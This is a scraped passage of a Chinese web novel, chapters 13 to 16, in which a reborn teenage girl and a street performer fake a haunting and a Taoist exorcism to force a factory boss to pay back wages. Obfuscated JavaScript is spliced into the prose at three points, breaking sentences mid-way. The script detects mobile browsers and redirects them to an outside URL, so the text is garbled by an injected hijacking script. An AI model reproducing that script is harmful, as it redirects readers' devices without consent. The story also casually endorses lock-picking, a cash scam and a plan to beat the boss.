庄雪言诧异地接过,镇上还没普及暖宝宝,热水袋太重了也不方便携带,指尖触及温暖的瓶身,庄雪言顿时感觉暖和不少,她问徐嘉轩:“你的保温杯里还有热水吗?给自己留点。” 徐嘉轩点头,帆布包提在手上有些晃荡,仔细听,里面哪有水声。 如果说大姐头是门学科,毫无疑问庄雪言是考零分的学渣,她收徐嘉轩作为小弟只是一时兴起,等新鲜感过去就忘了,因为她的一句话,两人之间的交集越来越多,无论是自愿的还是不自愿的,命运一点点往不可控的方向偏移。 只是偏移轨迹太缓慢,庄雪言暂时没察觉到而已。 两人快到街上的时候来往的人就很多了,上了街,过年的热闹扑面而来。 这是一年中人最多的时候,喜庆的彩带和红灯笼挂在大街小巷,无论男女老少,大家的脸上都洋溢着笑容,小贩热情地推销自家的商品,情侣手挽着手共吃一串糖葫芦,贪玩的小孩停在兔笼前不走,撒泼打滚央求家长买一个。 庄雪言来到酥饼商铺前,买酥饼的人早已排起长龙,庄雪言排在队伍末尾,看向跟过来的徐嘉轩问:“你也要买吗?” 徐嘉轩知道自己摇头的话庄雪言肯定会让他去逛想买的东西,但他没什么想买的,老人家牙口不好很多东西不能吃,需要的东西大多在赶集之前就准备好了,这次来只是单纯逛一逛,他明白徐老头想让两人变成好朋友,但表现的有些刻意了。 徐嘉轩说:“我没吃过这家,想尝一尝。” 庄雪言了然,安利道:“那我推荐你买板栗味的,味道很不错。” 水瓶放在庄雪言袖子里,滚烫的热水冷的差不多了,她把瓶子拿出来握在手上,发愁怎么处理,扔了太不礼貌,还给他吧,又像废物回收,庄雪言握着愈发冰凉的水瓶,听到徐嘉轩好奇地问她:“你喜欢板栗味的东西吗?” 鼻尖传来刚出炉的酥饼甜滋滋的味道,庄雪言想到自己上辈子买个什么东西都要精打细算,要挑三拣四也轮不到她,略有些感叹道:“我什么都喜欢。” 她指尖有一下没一下点着水瓶,刚暖和没一会儿的手又开始泛红,徐嘉轩沉默了会儿,自然而然拿过水瓶放进包里,庄雪言有些惊讶他的细心,问:“你还要喝吗?” 徐嘉轩疑惑:“不能喝了吗?” “没有......” 就是不知道为什么,总感觉有些尴尬。 庄雪言反思起自己,她的话对心思敏感的人来说实在太刻薄了,不过徐嘉轩好像没有察觉这份刻薄,他踮起脚尖目光看向远方,计算着大概还要排队多长时间。 小地方消费没多高,物价便宜酥饼量也很大,庄雪言趁热尝了一口,绵软的内陷像冰淇淋一样化在嘴里。 一如既往的好吃。 徐嘉轩买的是绿豆和板栗双拼,庄雪言品尝的时候顺带提醒他趁热吃味道最好,徐嘉轩点点头,不一会儿,庄雪言手边多了半个绿豆馅的酥饼。 酥饼躺在塑料袋里,徐嘉轩说:“给你,我分的时候没有碰到手。” 庄雪言吃的时候没给人家分,不好意思收他的东西,摆手道:“不用,你自己吃吧。” 走了几步路,徐嘉轩重新把半个酥饼递给她。 “我吃不完。” 庄雪言:“.......” 一口一个的东西怎么吃不完,庄雪言无语凝噎,拿过半个酥饼放进嘴里,发现绿豆味的也别有一番风味。 她咀嚼着,突然冒出一个想法,口齿不清问徐嘉轩:“你干嘛非要跟我分一个吃?” 徐嘉轩没想到她会问这个问题,愣在原地,他心里没有答案,或许有,但太模糊了,徐嘉轩不知道该怎么回答,闹了个大红脸,手忙脚乱打开盒子全部递给她。 “给你。” “我不是这个意思。” 弄得她跟强盗一样,朋友之间分东西是很正常的事情,庄雪言后悔问出这个问题,显得她多会苛责人似的。 徐嘉轩摸了摸脸颊,皮肤触及冰冷的指尖才意识到脸很烫,他仔细把酥饼收好,目光不自主瞥向别处,正巧看到路边没有门面的小店前围了一群人,他拉住庄雪言的手想告诉她有热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐嘉轩紧紧牵着她的手不让两人分开,效果却微乎其微,庄雪言被一股莫名的力气撞了下,整个人不受控制往前扑去。 水泥路上的雪还没完全化开,经人走过后变成脏兮兮的冰沙,眼看要脸着地,庄雪言闭上眼,连忙伸出空出的手撑在身前。 预料中的疼痛没有感受到,掌心下压着的是干燥温暖的衣服,庄雪言睁开眼,看到躺在她身下当肉垫的徐嘉轩。 两人拉着的手还没放开,徐嘉轩不好调整姿势,本能地用身体给她挡住,他吃痛地皱眉,看到庄雪言身上的衣服干干净净,心里松了口气。 “谢谢。” 庄雪言从他身上爬起来,尝试抽动徐嘉轩握住的手。 徐嘉轩才想起自己还握着她,心下漏了一拍,松开手,他能感觉到后背的衣服全打湿了,好在穿的够多,寒气没渗透到里面。 突如其来的变故把拉扯中的两个男人吓着了,眼看人越聚越多,店老板啐了口晦气,气冲冲回到店里。 表演口技的男人提着行李箱过来询问情况,庄雪言拽着徐嘉轩的胳膊把他从地上拉起来,语气极冲地说了声没事。 这股莫名的火不是发给他的,但男人还是被吓了一跳,庄雪言让徐嘉轩转过去,看到他衣服上浸水变得深黑的布料,像个被点燃的炮仗,转头质问:“刚才哪个眼瞎的撞得人!” 那种力道和角度,她能肯定是有人故意撞的,两个孩子而已,在镇上有没有得罪的人,只可能是对方纯犯贱。 火差点烧到自己身上,表演也没了,汹涌的人群如退潮时段的水,几分钟就四散离开,庄雪言咬牙,冷笑道:“真是见鬼了!” 徐嘉轩拉住她的衣角,安慰道:“算了,没有人受伤就好。” 几声难听的鸟叫在身侧响起,庄雪言看过去,对方立马露出笑容,用逗小孩的方法哄他们开心,可惜碰到的两个人都不像小孩,一通表演下来,男人对自己赖以谋生的技能产生了深深的怀疑。 庄雪言图个喜庆,从钱包里拿出一块钱放进他手里面,对方也不嫌弃,发出更加难听的声音,大白天的,庄雪言身上起了鸡皮疙瘩。 难听的像鬼叫一样,她想。 等等! “鬼叫?” 14. chapter14 何芸回来的时候很晚了,屋外黑的伸手不见五指,零零散散的几户人家窗子里发出微弱的光线,何芸把手电筒拿到卧室充电,出来时才看到堂屋的桌上放着酥饼包装。 庄雪言在火坑烤火,沸腾的水顶开盖子冒出细细的响声,没等庄雪言拿起来倒在开水壶里,何芸打开了门。 冷气随她一起进来,看到女儿手上的水壶,何芸接过来放在火坑旁边,说:“别倒在水壶里了,妈妈洗澡用。” 庄雪言托着腮,温暖的火光照在她半边脸上。 女孩子十三四岁的时间段发育的很快,庄雪言比小学长开了许多,白色的发箍围着头发,被光照亮的脸颊几乎没有瑕疵,仔细看还可以看到没有褪去的细小绒毛。 何芸一直觉得自己的女儿很文静,只是太文静了也不好,以后肯定是会被人欺负的。 冷风在外面呼啸,冰天雪地里,灶屋里的一隅天地显得那么温暖。 庄雪言不知道自己母亲心里想的事情,她凑近何芸,娇声问:“妈妈你什么时候洗澡啊。” “怎么了?”何芸捏了捏她的脸,说:“烤会儿火就洗,你要是累了就睡吧。” “不累。” 庄雪言说:“妈妈,我想跟你聊聊天。” 她们母女两很久没安静地坐在一起谈心了,何芸心里藏着事,不知道要聊什么,随便找了个话题:“你是不是想跟妈妈聊学校发生的事情啊?” 庄雪言摇头,直截了当开口:“妈妈,我想知道你们老板住在哪?” 何芸震惊地张开嘴,心里冒出很多想法,片刻,她恢复平日里的温和,避重就轻问道:“问这个干什么,你还想去人家老板家玩啊!” 庄雪言说:“我就是要去他家玩玩。” “......” 老板名叫王赐,家在市里买了房,是十里八乡出了名的赘婿,今年过年都来老丈人家过的。 这种事没什么好瞒着,整个厂里的人都知道,她今天不说第二天庄雪言就回去找别人打听,结果都是一样的,何芸怕她干傻事,不断追问庄雪言要干什么。 “没有干什么啦。”庄雪言把脸埋进她肩上,淡淡的馨香笼罩鼻尖,她说:“我听人说逢年过节得给老板送礼,我想帮你送,让你在厂里轻松些。” 这个解释合情合理,何芸稀里糊涂相信了,她点了点庄雪言的小脑袋,失笑:“人家不需要你的礼物,有钱留着自己用吧。” 庄雪言粘着她不放开,猫儿一样躲在何芸怀里拱了好一会儿,问:“妈妈你看到我给你买的酥饼了吗?” 何芸说:“看到了,你今天去逛大集了?一个人吗?” “徐爷爷让我跟徐嘉轩一起去,我专门给你买的饼。” 庄雪言使尽浑身解数撒娇,何芸留意到徐嘉轩的名字,拍拍她的肩膀,说:“言言,嘉轩那孩子看着太内向了,你作为女孩子要坚强一些,平时多保护嘉轩好不好?” 庄雪言:“.......” 她心里对徐嘉轩的一点好感全没了,酸溜溜问:“为什么?我跟徐嘉轩你更喜欢谁?!” “你是妈妈的宝贝啊!”何芸抱着她,说:“徐爷爷生活不容易,你小时候穿的衣服鞋子都是徐爷爷送给你的,你成绩好,有空的话帮徐嘉轩也补习一下,好不好?” 这下庄雪言不敢问为什么了,两边脸颊气得鼓鼓的,像只小河豚,何芸看着可爱,耳提面命道:“听到了嘛?嘉轩以后去市里高中,开销太大徐爷爷负担不起,现在学校不是有政策嘛,好像是考多少分有免学费和生活补助,还有两年多,妈妈相信你肯定能把嘉轩的成绩提上去的!” 徐嘉轩可是班上的吊车尾,市里重点高中那么多人竞争,想要免学费哪有这么容易呀! 庄雪言心里画圈圈,嘴上没说出来,又想到上辈子的徐嘉轩压根没上过高中,她要是逆天改命了,徐嘉轩以后能不能当老板还是个问题。 先敷衍了事吧,连高中都上不了,谁知道她认真教了没。 庄雪言替何芸放好洗澡水,卖萌几个小时,听到的全是自己不想听的话,顿时失去了所有力气,殃殃地回卧室了。 天气预报播报后面连续几天都是晴天,这还没过年呢,雪就没下了,庄雪言失落地趴在窗户边,打开手表,联系人列表出现何征洪的名字,是白天在街上看到的口技男。 庄雪言临走时想到一个好点子,准备用对付李顺的手段对付这个拖欠工资的无良老板,不下雪也挺好,路上不会留下他们的脚印,她编辑了一条信息发过去,那边秒回复。 都是混口饭吃,干什么不是干,何况庄雪言还把事情经过给他说清楚了,同为拖欠工资的受害者,何征洪跟他们有同仇敌忾。 庄雪言打听了,王赐丈母娘家就在离镇上不远的岔路口附近,她还以为多远呢,这也太肆无忌惮了,似乎笃定没人敢找他要钱似的。 庄雪言把落灰的自行车骑出来,跟何征洪在预定的路口汇合,快到十五了,月亮又圆又大,庄雪言把事先准备好的手电筒收好,他们今天的任务主要是踩点,好为后续工作做准备。 岔路口附近坐落着几户人家,来之前庄雪言把王赐老丈人家的特征都背熟了,放眼看去,却发现压根不需要准备那么多,每家都是同样的装修风格。 老人不爱去城里住,家里的房子都是单门独户的平房,庄雪言用手电照亮院墙上的牌号,最后确定了一座看上去比徐老头家还朴素的房子。 院子门是镂空的铁门,上了锁,庄雪言隔着缝隙眯着眼看王赐家的结构,正琢磨着该怎么不声不响进去,突然听见开锁的声音。 她转头,看到何征洪把一整把大锁从门上取下来,眼底闪过震惊。 毕竟是见不得光的手艺,在小孩子面前演示一遍有错误引导的风险,何征洪把铁丝放进口袋,假正经地替自己辩解两句:“生活所迫,我平时也接接开锁的声音。” 那还省了事,两个人趁着夜色悄悄进去,房子右侧面有窗户,窗帘没拉紧,看得到靠窗的床上睡着人,不知道是不是王赐。 正犹豫着,何征洪已经兴奋地开始展示口技了,打雷的声音、开门关门的声音甚至脚步声他都能惟妙惟肖学出来,庄雪言听得头皮发麻,握住口袋里防身的小刀才感觉好一些。 他们凌晨三点才回家,第二天一早,庄雪言顶着两个黑眼圈起来,何芸早早出门了,桌上留着给庄雪言的早饭,庄雪言今天要去做家教,简单收拾了东西,拿了个馒头叼在嘴里出去了。 离镇子不远的地方有个老年公园,一年四季都有老人在公园里下棋搓麻将,庄雪言绕了路去公园里逛了圈,坐在牌桌不远处肯馒头,女人们说话的声音很大,流言蜚语传到她们耳朵里传播速度堪比光速,不一会儿,庄雪言就听到了谁家闹鬼的消息。 她目光投过去,悄悄竖起耳朵,村里的老人有不少信佛的,对于鬼神之说深信不疑,其余牌友好奇心勾了起来,问道:“怎么个事啊,老王家闹鬼啦?” “可不是。”打扮比较时髦的女人摸了张牌,紧张兮兮说:“就昨天,闹鬼了!” 坐在对面的女人阴阳怪气道:“谁叫他们招赘婿,这下遭报应了!” “跟那赘婿没关系吧,年纪大了就容易看到些不干净的东西。” “......” 庄雪言听了半天明白了,原来昨天那间卧室住的是王赐老丈人,老人浅眠,容易被吵醒,年纪那么大了还得遭这种罪,庄雪言心底过意不去,叮嘱何征洪晚上换一个房间。 第二天,庄雪言又去公园逛了一圈,没听到闹鬼的消息,问了何征洪才知道,王赐那个老畜生睡得跟猪一样,怎么叫都叫不醒,更别提弄鬼吓他了。 庄雪言沉思片刻,决定让老人遭点罪。 她频繁出现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526281|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老年人公园内,引起了牌桌上女人的关注,都在疑惑是谁家的孩子,怎么没人管呢。 疑惑归疑惑,没人想摊上麻烦事接手一个不认识的孩子。 庄雪言每次吃完早饭就走,听了几天八卦,她对周围老人的信息了解了个七七八八,有天牌桌上其中一个人生病没来,现在牌友都固定了,就在另外三个女人着急之际,庄雪言背着书包走上去。 “打牌吗?” 女人们面面相觑,谁都不相信一个孩子会打牌,再说,小孩子也没钱啊。 庄雪言看出她们心中的犹豫,从包里掏出五百块钱放在桌上,清脆的声音带有孩子般的天真无邪:“我有钱,打不打?” 有钱赢为什么不干? 女人们坐下来,其中一个叫红姐的调侃道:“钱输了就是输了,谁来了都能还,你个小娃娃,输了别哭着回去找妈妈呀!” 庄雪言整理了下袖口,反正今天不用补习,她很久没打麻将了,正好练练手。 “谁输谁赢还说不准呢!” 天真的话语逗笑牌桌上另外三人,可能是老玩家回归福利,庄雪言一家赢另外三家输。 她在牌桌上什么话都没套,单纯来刷个脸熟,赢的不多,牌局解散的时候庄雪言数了,多了七十块钱。 三人输得心服口服,想起生病在家的牌友,红姐心里痒痒,拉住庄雪言的手问:“小姑娘,你明天还来不来?我们差点人。” “来呀。”庄雪言笑盈盈说:“我喜欢跟牌技好的人打!” 一句话惹得红姐心花怒放,她们一打就是一个上午,庄雪言想起第二天的补习,秉承着肥水不流外人田的原则,去了徐老头家。 徐老头最近在家翻新院墙,快要过年了,村里回来了些不三不四的人,十几户人家都反映自家狗被偷了,徐老头前几天才捉了条奶狗回来,自然宝贝着。 看到庄雪言来了,徐老头呵呵笑了几声,转头朝屋里喊:“嘉轩!言言来找你玩了!” 徐嘉轩从屋里跑出来,臂弯还抱着一只棕色的小狗,看到庄雪言来找他,蹲下来把狗放在地上,小跑过去。 “怎么了?” 这几天他们都没有见面,徐嘉轩其实很想找她玩,但怕打扰到她了,看到庄雪言主动来找她,徐嘉轩欣喜之余脸有些红。 到了发育期,徐嘉轩的个头像笋子一样往上冒,身体看上去很瘦弱,但身高已经隐隐有超过庄雪言的趋势了,徐嘉轩两手绞在一起,面对庄雪言时十分局促。 庄雪言没察觉到这点,她来之前觉得把这肥差交给徐嘉轩简直太便宜他了,但如果交给别人,说不定她就彻底跟这份工作说拜拜了,痛定思痛,庄雪言决定便宜别人不如便宜徐嘉轩。 她问:“你最近在干嘛呢,忙不忙?” “不忙。”徐嘉轩摇头,碎发盖过眉毛,低头的时候看不清他的眼睛,他说:“我在写作业。” “寒假作业?” “嗯。” 他不说庄雪言都忘记放在角落没打开过的书包了,她最近比较忙,比寒假作业重要的事情多着呢,五天应该能赶完。 “我在镇上接了个家教的活,但是我最近比较忙。”庄雪言问:“你能不能帮我接手几天?” 虽说徐嘉轩成绩吊车尾,但是能在重点班吊车尾已经很厉害了,小学的知识对他来说简直小菜一碟,庄雪言也是实在没办法,不然不会临时拉他顶上的。 “我?可是......” 徐嘉轩想到自己的成绩,不知道庄雪言为什么会找他。 “我怕我教的不好。” “怕什么?又不是上刀山下火海。”他不去就没人去了,庄雪言摆摆手,安慰道:“我都相信你你还不相信自己吗?” 相信..... 徐嘉轩默默咀嚼这个词,心里甜滋滋的,他点头答应下来。 “好。” 15. chapter15 后方有许嘉轩助阵,庄雪言可以安心去打麻将,赢赢输输,算下来赚的钱居然比补习还多,庄雪言真是后悔之前没找到这种好路子,虽然没有补习稳定就是了。 庄雪言牌技不错,牌品也好,几天打下来四个人也熟悉了,红姐来得早,看到庄雪言已经上牌桌坐着了,喜笑颜开地坐在她旁边打了声招呼,熟悉的像忘年交。 “雪言,今天来这么早啊?” 庄雪言关上手表,冲她笑了笑,说:“我这几天没有事情,在家没意思就想早点来,这样你们就能第一个看到我了!” “哟~这话说得真甜!” 红姐笑的合不拢嘴,庄雪言看时机差不多了,隐晦地说出最近传的沸沸扬扬的闹鬼的事情,红姐一听就来了兴趣,凑近说:“李家闹鬼也不是一天两天了,我最近才晓得他们那个姓王的赘婿开厂子拖欠工资了,你说最近过年都要祭祖,跟祖宗一说,不闹鬼都不正常!” 庄雪言故作吃惊,问道:“真的吗?!” “能有假?!他们家出了名的人好,不结仇,你说不是那个赘婿的问题还能是谁的问题,丧良心了呗!” 事情的发展都按照庄雪言预想的来,她心里高兴,面上一副关心的模样,问:“红姐,那他们准备怎么办呀?” “能怎么办?”红姐不屑:“请了几个道士都没弄好,小两口最近在闹离婚,听说是老人给逼的。” 庄雪言追问:“那离了婚,拖欠的工资还发不发了?” “这谁管呀,你个小孩还信这个?” 听说离婚了就不发工资了,庄雪言心情不太好,说:“我信啊,我小时候撞过鬼,差点死了呢。” 开玩笑,她自己都是重生的能不信吗? 红姐家里信佛,好奇问:“怎么好的?” “家里请了道士,光是介绍费都花了五千块钱。” “五千?” 红姐心头动了动,不动声色问:“道士很灵吗,要不介绍给我呗!我最近总感觉头莫名其妙的痛。” “别了吧。”庄雪言装模作样规劝:“五千块钱太多了,你要不去医院看看?” “医院看过了,没什么用!这年纪大了只求身体健康,钱倒是身外之物。” “好吧。” 庄雪言为难道:“我尽力帮你联系,但是联不联系的到我不能保证。” “好,好!”红姐拉住庄雪言的手宝贝似的揉了揉,说:“你有这份心红姐就满足了。” 庄雪言不认识道士,道士自然是张征洪假扮的,五千介绍费他们对半分,几天相处下来,庄雪言发现张征洪本性比她想的精明很多,做事细心不留证据。 五千块钱对李家来说并不多,还是庄雪言深思熟虑后才定的价格,她懂饥饿营销那套,后面几天红姐急不可耐地追问道士的事情,庄雪言只说人家太忙请不出来。 高人都是这样,红姐了然,麻将结束后,凑到庄雪言身旁说:“我头越来越疼了,你看能不能再帮我问问,我再加一千......” 庄雪言差点一口水喷出来,没想到现在行情竞争如此激烈,她委婉地说会帮忙的,回去后就找张征洪商量。 六千块钱,加上返还的工资肯定是赚的,可庄雪言还是觉得太便宜了那老不死的,决定让张征洪在原定的流程中再加一项驱魔,然后借着驱魔的名义把王赐往死里打。 张征洪在旁边听得脚丫子发冷,他默默把庄雪言从古灵精怪的小女孩移到不好惹的分类中,做手势表示自己已经知道了。 何芸这几天照常上班,庄雪言把这几天打牌赢的钱包成红包放在何芸枕头底下,她明天要把张征洪介绍给王姐,在这之后她就不准备去打牌了。 输输赢赢的,不如当家教。 她有几天没和徐嘉轩联系,最近早出晚归,时间正好跟他错开,庄雪言准备找家长说说自己复工的事情,却被告知不用她来了。 一秒钟内,庄雪言心里闪过各种想法,最直接的是对徐嘉轩鸠占鹊巢的恶意,虽然她把工作介绍给他的时候就预料到会有这种结果,可亲耳听到消息的时候又是另一回事。 凭什么?! 庄雪言无可抑制地嫉妒,她很想问自己哪里做的不好,哪里不如徐嘉轩,可最后什么都没问出来,听到电话那头不断的抱歉,庄雪言默默挂了电话,连最起码的礼貌都顾不上。 妈妈那么帮衬他,各科的老师也喜欢他,庄雪言弄不懂徐嘉轩究竟有什么魅力,她只知道,她再也不要和徐嘉轩玩了! 泪水在眼眶打转,庄雪言看到镜子里自己狼狈又丑陋的模样,委屈地把镜子倒扣在桌上。 她根本就不是一个真正的大人,她没有大人沉稳的情绪、应对突发事件的能力,她只是一个年龄上的大人,遇到事情会像小孩一样哭闹。 庄雪言不想的,她控制不住。 屋外传来敲门声,庄雪言手忙脚乱把眼泪擦干净,打开门,看到背着书包站在她家门口的徐嘉轩,恶狠狠瞪了他一眼,随后重重把门关上。 巨大的声音响彻耳畔,关门的瞬间徐嘉轩看清了她眼下的泪痕,想问她发生了什么事,手放在门边,徐嘉轩后知后觉感受到,她的负面情绪好像跟他有关系。 在外踌躇片刻,徐嘉轩把用塑料袋包着的信封从门缝里递进去,转头准备离开,门又从里面打开了。 庄雪言站在门边,倔强的眼里含着泪水,她把已经打开的信封摔在徐嘉轩身上,十几张红票票掉出来。 “你什么意思?!” 霸占她的工作就算了,现在又算什么?看她可怜给她的施舍吗?还是羞辱? 徐嘉轩不懂她的意思,蹲下来捡起落在地上的钱,清点了一遍,递给她,声音更加柔和,询问道:“你怎么了?” 怎么了?难道他问这话的时候不想笑吗! 庄雪言冷冷看着他,重复问道:“你什么意思?” 徐嘉轩说:“这是这几天我做家教拿到的钱,给你。” 他还真是八面玲珑,连分红都想得到,换做之前庄雪言还挺欣慰,可现在她只想笑。 她拿过钱,语气嘲弄:“你确实应该给我这些,要不是我,你哪里能找到这么轻松的工作。” 徐嘉轩并不是木头,他听得出她语气中的愤怒,难受地低头,解释道:“对不起,我可能不适合当家教,害得你没有工作。” “没有啊。”庄雪言无所谓:“你做的很好,起码比我好不是吗?以后好好学习,好好教人家,还是个不错的工作呢,也许下次就没这么好运了!” 她嘴上不受控制说出刻薄的话,心里痛苦非常,好像面对徐嘉轩,她的负面情绪就无处躲藏,庄雪言咬着嘴唇,眼泪蓄满眼眶,她忍不住又瞪了徐嘉轩一眼,流下泪来。 “对不起.....”徐嘉轩捏着食指,说:“阿姨说要带小孩去补习班,就不找家教了,都怪我教得不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526282|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对不起......” 庄雪言眼泪源源不断流下来,擦都擦不干净,等到徐嘉轩说完,庄雪言两只手捂住眼睛,好半天,她带着哭腔问:“你也被开了?” “嗯。” 那她哭了老半天算什么,庄雪言丢脸丢到姥姥家了,泪水沾到钱上,庄雪言数了数,发现徐嘉轩把这几天的工资全给她了。 “不要哭了,我.....”徐嘉轩不知道该怎么安慰女孩子,看到庄雪言哭他也很难受,笨拙地说:“我带你去买东西吧,买你喜欢的,当我送给你的礼物。” “......” 累死累活干了几天,工资算她的,徐嘉轩哪还有钱买礼物? 庄雪言久久没说话,徐嘉轩有些灰心,以为她不会再跟他玩了。 “对不起。” “你究竟要说几遍对不起?” 庄雪言留了一百给自己,其余的钱都还给他,她懊恼自己真是越活越回去了。 徐嘉轩说:“可是你不开心。” 庄雪言不耐烦道:“我刚才人格分裂了,你拿钱走吧,开学继续一起玩。” 徐嘉轩面露欣喜,挥手跟她道别,庄雪言闭上眼,再次睁开时看到徐嘉轩破洞的棉衣,灵光一闪,叫住他。 “徐嘉轩。” “嗯?” 徐嘉轩疑惑地转头,庄雪言问:“你想不想再赚点钱?” 庄雪言鬼点子一套接着一套,她让徐嘉轩把家里最破的衣服穿出来,穿的越惨越好,徐嘉轩真就穿了一件薄衣服,庄雪言见到他的时候他冻的瑟瑟发抖,不嫌弃地把自己的外套让给他穿。 “等会儿你就在这乞讨,等看到一个打扮成道士的人,你就冲上去要钱知道吗?” 两人的身形差不多,棉衣很大,完全罩住徐嘉轩,他蹲在地上,脚边放着庄雪言为他准备的破碗,温暖和馨香笼罩在周围,徐嘉轩点点头,心里却想着:她的衣服好香。 “雪....雪言。” 徐嘉轩结结巴巴地叫她,庄雪言有很多名字,雪言、言言、小雪......叫的多的庄雪言都免疫了,没发现徐嘉轩腼腆的表情,问:“怎么了?” 徐嘉轩不好意思问:“我应该要多少钱?” 肯定是越多越好啊,庄雪言没料到他会问这么老实的问题,说:“你上去要钱就行了,给多少是别人的事,记得钱咱们对半分。” “嗯。” 庄雪言算准了时间来的,没一会儿,通往小镇的桥上来了一行人,其中张征洪穿着道袍,颇有几分得道高人的样子。 王赐本就不信佛,觉得道士都是骗钱的,别提对张征洪有多膈应,如果不是家里两个老东西信那一套,他今天就能叫人把这装神弄鬼的死道士乱棍打出去。 张征洪在社会摸爬滚打许久,哪能不知道他心里怎么想,边走边念阿弥陀佛,等到徐嘉轩扑到王赐身边乞讨时,朝身后两个老人看去。 “日行一扇,菩萨必定保佑你们。” 王赐嘴边的“滚”生生咽下去,在两个老人面前肉痛地掏了两百块钱。 钱放在碗里,张征洪站在原地又念了一遍阿弥陀佛,王赐咬紧后槽牙,说:“大师心怀善念,不如也给点吧。” 张征洪二话没说掏了五百块钱。 王赐郁闷的要死,身后传来催促的话语,他忍着怒气,又补了三百到徐嘉轩碗里。 张征洪心满意足地离开了。 16. chapter16 五百块钱兜兜转转要还给张征洪的,庄雪言把王赐那五百块钱分了,一天什么都没干还赚了两百五,庄雪言躲在巷子里高兴地数钱,她跺跺脚,粉唇呼出冷气,鹅黄色的毛衣衬得脸颊愈发白皙。 徐嘉轩身上套着庄雪言的外套,没那么冷了,脱下衣服给她:“你冷不冷?穿着吧。” 庄雪言上下扫了他一眼,穿的跟没穿差不多,万一回去冻坏了两百块钱还得送到医院去,实在不值得,庄雪言说:“你穿着吧,我不冷。” 她骨架很瘦,身高在同龄女生中算高的,但身上没多少肉,三件毛衣套在身上都不显臃肿,亭亭玉立站在巷子旁,徐嘉轩把手锁在袖子里面,很暖和。 “你真好看。” 他不由得发出感慨,说完连自己都吓了一跳,庄雪言闻言挑眉,得意地说:“那当然。” 她上大学的时候可是校花级别的存在,可惜这副好相貌几乎没给她带来过红利,黑利倒是吃了不少。 不过庄雪言还是很喜欢自己的脸,何芸去世后那段时间,庄雪言就靠镜子里的脸想妈妈。 说起何芸,庄雪言又想她了,她跟徐嘉轩在岔路口分道扬镳,准备去成衣厂找何芸。 过年几天放了四天假期,堆积的活到现在多了起来,庄雪言去的时候大家都是一派喜气洋洋,何芸干活的时候也面带笑容。 庄雪言以为工资发了,兴冲冲贴在何芸身上抱着她的肩膀问:“妈妈,你好开心啊,最近是不是有什么好消息?” 何芸刚想告诉她,突然想起庄雪言根本不知道这些,心虚地转移话题,问:“你怎么来了?” 庄雪言亲了亲她的脸,说:“想你了!” “衣服呢?” 何芸余光看到她只穿了件毛衣,问:“穿这么单薄出来,不冷吗?快回去加衣服!” 庄雪言哼哼几声,走到成衣厂门口随便逮了个人,正巧是老熟人——整个成衣厂最闹腾的张小龙。 张小龙上小学,心思没用到学习上全花在吃上面了,因此整个人长得过于圆润,庄雪言差点没揪住他的后领。 “干嘛?!” 张小龙愤怒的转头,看到庄雪言那张脸,还没升起来的火全被浇灭,他挠挠头,羞涩地扭扭屁股:“雪言姐,你来了?” “对啊。” 庄雪言把她叫到别处,问:“小龙,你知道为什么厂里的人今天都这么高兴吗?” 张小龙激动起来,说:“我知道!那个死老板最近已经开始发工资了!” “什么叫开始?” “就是开始啊,有好几个人已经开始发了。” 那就是还没全发,拖得越晚越有问题,庄雪言思索片刻,打电话联系了张征洪,让他下一剂猛料,最好让王赐在两天将工资结算清楚,她再多给他一千块钱。 张征洪喜出望外,当即表示全包在他身上,不知道使了什么损招,第二天何芸就拿到了工资。 任务完成,张征洪拿着装神弄鬼赚来的钱准备回家过年,庄雪言也是现在才知道,原来红姐开口要的介绍费是一万块钱。 拿到钱的当天,何芸给庄雪言置办了些新衣服,各式各样的,把她打扮成了瓷娃娃,庄雪言没了正事,连着好几天去帮何芸工作,等到寒假快结束的时候,庄雪言才想起自己的寒假作业没写。 她不太想补,准备跟何芸串通一下跟老师说弄丢了,何芸不支持女儿的行为,没办法,庄雪言只能写一页撕一页,寒假结束前两天,徐嘉轩来给何芸送东西,看到趴在桌上躺尸的庄雪言。 他把手上的包裹放在椅子上,走到桌子旁边,看到了大部分还是白纸的作业,了然:“你作业还没写完吗?” 哪是没写完,分明是还没写,庄雪言手动了动,把水性笔扔的远远的,抱怨:“谁爱写谁写。” 她已经写了一个上午了,连一本都没写完,还是在有答案的情况下,手很累,庄雪言自暴自弃想:大不了开学站在外面补作业算了。 躺了一会儿,身旁传来书页翻动的声音,徐嘉轩从笔袋拿了一只水芯笔默默帮她抄作业。 说实话,庄雪言挺感动的,徐嘉轩老老实实抄了几面,庄雪言看不下去了,坐起来教他:“你写两页撕一页就行了,老师看不出来的。” 徐嘉轩仿佛打开了新世界的大门,惊讶地看着眼前古灵精怪的女孩,庄雪言的建议很有用,但徐嘉轩没有采纳,依然埋头苦写。 反正遭罪的不是自己,庄雪言不再管他。 上辈子两人几乎没有同桌过的日子,这辈子交集挺多,庄雪言咬咬笔头,问道:“我记得你前几年都不来我家的,为什么最近来的次数那么多?” 这话有敢客的意思,还没等徐嘉轩回答,庄雪言立马补充:“我不是嫌你来的次数多,只是单纯好奇。” “我知道。” 